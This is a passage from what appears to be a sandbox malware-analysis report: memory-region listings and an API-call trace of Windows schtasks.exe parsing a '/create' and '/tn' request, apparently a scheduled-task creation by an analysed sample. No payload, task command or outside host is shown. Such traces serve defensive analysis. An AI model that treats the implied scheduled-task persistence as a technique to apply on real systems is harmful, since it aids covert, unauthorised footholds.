end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2398 start_va = 0x660000 end_va = 0x7e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 2399 start_va = 0x7f0000 end_va = 0x1beffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 2400 start_va = 0x150000 end_va = 0x161fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2401 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2402 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2403 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2404 start_va = 0x1bf0000 end_va = 0x1ebefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2405 start_va = 0x170000 end_va = 0x1ecfff monitored = 0 entry_point = 0x17cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2406 start_va = 0x170000 end_va = 0x1ecfff monitored = 0 entry_point = 0x17cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2407 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2408 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2409 start_va = 0x1ec0000 end_va = 0x212ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ec0000" filename = "" Region: id = 2410 start_va = 0x1ec0000 end_va = 0x1f9efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ec0000" filename = "" Region: id = 2411 start_va = 0x20b0000 end_va = 0x212ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020b0000" filename = "" Region: id = 2412 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2413 start_va = 0x1fe0000 end_va = 0x205ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fe0000" filename = "" Region: id = 2414 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2416 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2417 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 2418 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2419 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 2420 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2421 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2424 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 120 os_tid = 0xf58 [0065.703] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdf7a0 | out: lpSystemTimeAsFileTime=0xdf7a0*(dwLowDateTime=0x503e9d60, dwHighDateTime=0x1d9eb0c)) [0065.703] GetCurrentProcessId () returned 0xf54 [0065.703] GetCurrentThreadId () returned 0xf58 [0065.703] GetTickCount () returned 0x1765fc3 [0065.703] RtlQueryPerformanceCounter (in: lpPerformanceCount=0xdf7a8 | out: lpPerformanceCount=0xdf7a8*=2487218627777) returned 1 [0065.703] GetModuleHandleW (lpModuleName=0x0) returned 0xffd70000 [0065.703] __set_app_type (_Type=0x1) [0065.703] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffd9972c) returned 0x0 [0065.704] __wgetmainargs (in: _Argc=0xffdb1240, _Argv=0xffdb1250, _Env=0xffdb1248, _DoWildCard=0, _StartInfo=0xffdb125c | out: _Argc=0xffdb1240, _Argv=0xffdb1250, _Env=0xffdb1248) returned 0 [0065.704] _onexit (_Func=0xffda2ab0) returned 0xffda2ab0 [0065.704] _onexit (_Func=0xffda2ac4) returned 0xffda2ac4 [0065.704] _onexit (_Func=0xffda2afc) returned 0xffda2afc [0065.705] _onexit (_Func=0xffda2b58) returned 0xffda2b58 [0065.705] _onexit (_Func=0xffda2b80) returned 0xffda2b80 [0065.705] _onexit (_Func=0xffda2ba8) returned 0xffda2ba8 [0065.705] _onexit (_Func=0xffda2bd0) returned 0xffda2bd0 [0065.705] _onexit (_Func=0xffda2bf8) returned 0xffda2bf8 [0065.705] _onexit (_Func=0xffda2c20) returned 0xffda2c20 [0065.705] _onexit (_Func=0xffda2c48) returned 0xffda2c48 [0065.705] _onexit (_Func=0xffda2c70) returned 0xffda2c70 [0065.706] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0065.706] WinSqmIsOptedIn () returned 0x0 [0065.706] GetProcessHeap () returned 0x2d0000 [0065.706] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2e55d0 [0065.706] SetLastError (dwErrCode=0x0) [0065.706] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0065.706] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0065.706] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0065.706] VerifyVersionInfoW (in: lpVersionInformation=0xdef60, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xdef60) returned 1 [0065.706] GetProcessHeap () returned 0x2d0000 [0065.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ebb90 [0065.707] lstrlenW (lpString="") returned 0 [0065.707] GetProcessHeap () returned 0x2d0000 [0065.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x2) returned 0x2ebbb0 [0065.707] GetProcessHeap () returned 0x2d0000 [0065.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5ac0 [0065.707] GetProcessHeap () returned 0x2d0000 [0065.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ebbd0 [0065.707] GetProcessHeap () returned 0x2d0000 [0065.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5af0 [0065.707] GetProcessHeap () returned 0x2d0000 [0065.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5b20 [0065.707] GetProcessHeap () returned 0x2d0000 [0065.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5b50 [0065.707] GetProcessHeap () returned 0x2d0000 [0065.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5b80 [0065.707] GetProcessHeap () returned 0x2d0000 [0065.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ebbf0 [0065.707] GetProcessHeap () returned 0x2d0000 [0065.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5bb0 [0065.707] GetProcessHeap () returned 0x2d0000 [0065.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5be0 [0065.707] GetProcessHeap () returned 0x2d0000 [0065.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5c10 [0065.707] GetProcessHeap () returned 0x2d0000 [0065.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5c40 [0065.707] GetProcessHeap () returned 0x2d0000 [0065.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ebc10 [0065.707] GetProcessHeap () returned 0x2d0000 [0065.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5c70 [0065.707] GetProcessHeap () returned 0x2d0000 [0065.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5ca0 [0065.707] GetProcessHeap () returned 0x2d0000 [0065.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5cd0 [0065.707] GetProcessHeap () returned 0x2d0000 [0065.707] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5d00 [0065.708] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.708] SetLastError (dwErrCode=0x0) [0065.708] GetProcessHeap () returned 0x2d0000 [0065.708] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5d30 [0065.708] GetProcessHeap () returned 0x2d0000 [0065.708] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5d60 [0065.708] GetProcessHeap () returned 0x2d0000 [0065.708] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5d90 [0065.708] GetProcessHeap () returned 0x2d0000 [0065.708] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5dc0 [0065.708] GetProcessHeap () returned 0x2d0000 [0065.708] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5df0 [0065.708] GetProcessHeap () returned 0x2d0000 [0065.708] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ebc30 [0065.708] _memicmp (_Buf1=0x2ebc30, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.708] GetProcessHeap () returned 0x2d0000 [0065.708] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x208) returned 0x2ebdd0 [0065.708] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2ebdd0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0065.708] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0065.711] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0065.711] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0065.712] GetProcessHeap () returned 0x2d0000 [0065.712] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x74e) returned 0x2ec3a0 [0065.712] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0065.712] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x2ec3a0 | out: lpData=0x2ec3a0) returned 1 [0065.712] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0065.712] VerQueryValueW (in: pBlock=0x2ec3a0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xdf048, puLen=0xdf0b0 | out: lplpBuffer=0xdf048*=0x2ec73c, puLen=0xdf0b0) returned 1 [0065.714] _memicmp (_Buf1=0x2ebc30, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.714] _vsnwprintf (in: _Buffer=0x2ebdd0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xdf028 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0065.715] VerQueryValueW (in: pBlock=0x2ec3a0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xdf0b8, puLen=0xdf0a8 | out: lplpBuffer=0xdf0b8*=0x2ec568, puLen=0xdf0a8) returned 1 [0065.715] lstrlenW (lpString="schtasks.exe") returned 12 [0065.715] lstrlenW (lpString="schtasks.exe") returned 12 [0065.715] lstrlenW (lpString=".EXE") returned 4 [0065.715] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0065.717] lstrlenW (lpString="schtasks.exe") returned 12 [0065.717] lstrlenW (lpString=".EXE") returned 4 [0065.717] _memicmp (_Buf1=0x2ebc30, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.717] lstrlenW (lpString="schtasks") returned 8 [0065.717] GetProcessHeap () returned 0x2d0000 [0065.717] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5ee0 [0065.717] GetProcessHeap () returned 0x2d0000 [0065.717] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2eccb0 [0065.717] GetProcessHeap () returned 0x2d0000 [0065.717] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecce0 [0065.717] GetProcessHeap () returned 0x2d0000 [0065.717] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecd10 [0065.717] GetProcessHeap () returned 0x2d0000 [0065.717] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ebc50 [0065.718] _memicmp (_Buf1=0x2ebc50, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.718] GetProcessHeap () returned 0x2d0000 [0065.718] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xa0) returned 0x2ec1d0 [0065.718] GetProcessHeap () returned 0x2d0000 [0065.718] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecd40 [0065.718] GetProcessHeap () returned 0x2d0000 [0065.718] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecd70 [0065.718] GetProcessHeap () returned 0x2d0000 [0065.718] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecda0 [0065.718] GetProcessHeap () returned 0x2d0000 [0065.718] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ebc70 [0065.718] _memicmp (_Buf1=0x2ebc70, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.718] GetProcessHeap () returned 0x2d0000 [0065.718] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x200) returned 0x2ed480 [0065.718] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2ed480, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0065.718] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0065.718] GetProcessHeap () returned 0x2d0000 [0065.718] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x30) returned 0x2e7c50 [0065.718] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xdf028 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0065.718] GetProcessHeap () returned 0x2d0000 [0065.718] GetProcessHeap () returned 0x2d0000 [0065.718] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec3a0) returned 1 [0065.718] GetProcessHeap () returned 0x2d0000 [0065.718] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec3a0) returned 0x74e [0065.719] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec3a0 | out: hHeap=0x2d0000) returned 1 [0065.720] SetLastError (dwErrCode=0x0) [0065.720] GetThreadLocale () returned 0x409 [0065.720] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.720] lstrlenW (lpString="?") returned 1 [0065.720] GetThreadLocale () returned 0x409 [0065.720] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.720] lstrlenW (lpString="create") returned 6 [0065.720] GetThreadLocale () returned 0x409 [0065.720] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.721] lstrlenW (lpString="delete") returned 6 [0065.721] GetThreadLocale () returned 0x409 [0065.721] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.721] lstrlenW (lpString="query") returned 5 [0065.721] GetThreadLocale () returned 0x409 [0065.721] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.721] lstrlenW (lpString="change") returned 6 [0065.721] GetThreadLocale () returned 0x409 [0065.721] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.721] lstrlenW (lpString="run") returned 3 [0065.721] GetThreadLocale () returned 0x409 [0065.721] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.721] lstrlenW (lpString="end") returned 3 [0065.721] GetThreadLocale () returned 0x409 [0065.721] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.721] lstrlenW (lpString="showsid") returned 7 [0065.721] GetThreadLocale () returned 0x409 [0065.722] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.722] SetLastError (dwErrCode=0x0) [0065.722] SetLastError (dwErrCode=0x0) [0065.722] lstrlenW (lpString="/create") returned 7 [0065.722] lstrlenW (lpString="-/") returned 2 [0065.722] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0065.722] lstrlenW (lpString="?") returned 1 [0065.722] lstrlenW (lpString="?") returned 1 [0065.722] GetProcessHeap () returned 0x2d0000 [0065.722] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ec280 [0065.722] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.722] GetProcessHeap () returned 0x2d0000 [0065.722] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xa) returned 0x2ec3a0 [0065.722] lstrlenW (lpString="create") returned 6 [0065.722] GetProcessHeap () returned 0x2d0000 [0065.723] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ec3c0 [0065.723] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.723] GetProcessHeap () returned 0x2d0000 [0065.723] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x14) returned 0x2ec3e0 [0065.723] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|?|") returned 3 [0065.723] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|create|") returned 8 [0065.723] lstrlenW (lpString="|?|") returned 3 [0065.723] lstrlenW (lpString="|create|") returned 8 [0065.723] SetLastError (dwErrCode=0x490) [0065.723] lstrlenW (lpString="create") returned 6 [0065.723] lstrlenW (lpString="create") returned 6 [0065.723] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.723] GetProcessHeap () returned 0x2d0000 [0065.723] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec3a0) returned 1 [0065.723] GetProcessHeap () returned 0x2d0000 [0065.723] RtlReAllocateHeap (Heap=0x2d0000, Flags=0xc, Ptr=0x2ec3a0, Size=0x14) returned 0x2ec400 [0065.724] lstrlenW (lpString="create") returned 6 [0065.724] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.724] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|create|") returned 8 [0065.724] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|create|") returned 8 [0065.724] lstrlenW (lpString="|create|") returned 8 [0065.724] lstrlenW (lpString="|create|") returned 8 [0065.724] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0065.724] SetLastError (dwErrCode=0x0) [0065.724] SetLastError (dwErrCode=0x0) [0065.724] SetLastError (dwErrCode=0x0) [0065.724] lstrlenW (lpString="/tn") returned 3 [0065.724] lstrlenW (lpString="-/") returned 2 [0065.724] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0065.724] lstrlenW (lpString="?") returned 1 [0065.725] lstrlenW (lpString="?") returned 1 [0065.725] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.725] lstrlenW (lpString="tn") returned 2 [0065.725] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.725] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|?|") returned 3 [0065.725] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|tn|") returned 4 [0065.725] lstrlenW (lpString="|?|") returned 3 [0065.725] lstrlenW (lpString="|tn|") returned 4 [0065.725] SetLastError (dwErrCode=0x490) [0065.725] lstrlenW (lpString="create") returned 6 [0065.725] lstrlenW (lpString="create") returned 6 [0065.725] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.725] lstrlenW (lpString="tn") returned 2 [0065.725] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.725] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|create|") returned 8 [0065.726] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|tn|") returned 4 [0065.726] lstrlenW (lpString="|create|") returned 8 [0065.726] lstrlenW (lpString="|tn|") returned 4 [0065.726] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0065.726] SetLastError (dwErrCode=0x490) [0065.726] lstrlenW (lpString="delete") returned 6 [0065.726] lstrlenW (lpString="delete") returned 6 [0065.726] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.726] lstrlenW (lpString="tn") returned 2 [0065.726] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.726] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|delete|") returned 8 [0065.726] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|tn|") returned 4 [0065.726] lstrlenW (lpString="|delete|") returned 8 [0065.726] lstrlenW (lpString="|tn|") returned 4 [0065.726] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0065.727] SetLastError (dwErrCode=0x490) [0065.727] lstrlenW (lpString="query") returned 5 [0065.727] lstrlenW (lpString="query") returned 5 [0065.727] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.727] lstrlenW (lpString="tn") returned 2 [0065.727] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.727] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|query|") returned 7 [0065.727] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|tn|") returned 4 [0065.727] lstrlenW (lpString="|query|") returned 7 [0065.727] lstrlenW (lpString="|tn|") returned 4 [0065.727] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0065.727] SetLastError (dwErrCode=0x490) [0065.727] lstrlenW (lpString="change") returned 6 [0065.727] lstrlenW (lpString="change") returned 6 [0065.727] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.728] lstrlenW (lpString="tn") returned 2 [0065.728] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.728] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|change|") returned 8 [0065.728] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|tn|") returned 4 [0065.728] lstrlenW (lpString="|change|") returned 8 [0065.728] lstrlenW (lpString="|tn|") returned 4 [0065.728] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0065.728] SetLastError (dwErrCode=0x490) [0065.728] lstrlenW (lpString="run") returned 3 [0065.728] lstrlenW (lpString="run") returned 3 [0065.728] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.728] lstrlenW (lpString="tn") returned 2 [0065.728] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.728] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|run|") returned 5 [0065.728] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|tn|") returned 4 [0065.729] lstrlenW (lpString="|run|") returned 5 [0065.729] lstrlenW (lpString="|tn|") returned 4 [0065.729] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0065.729] SetLastError (dwErrCode=0x490) [0065.729] lstrlenW (lpString="end") returned 3 [0065.729] lstrlenW (lpString="end") returned 3 [0065.729] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.729] lstrlenW (lpString="tn") returned 2 [0065.729] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.729] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|end|") returned 5 [0065.729] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf038 | out: _Buffer="|tn|") returned 4 [0065.729] lstrlenW (lpString="|end|") returned 5 [0065.729] lstrlenW (lpString="|tn|") returned 4 [0065.729] 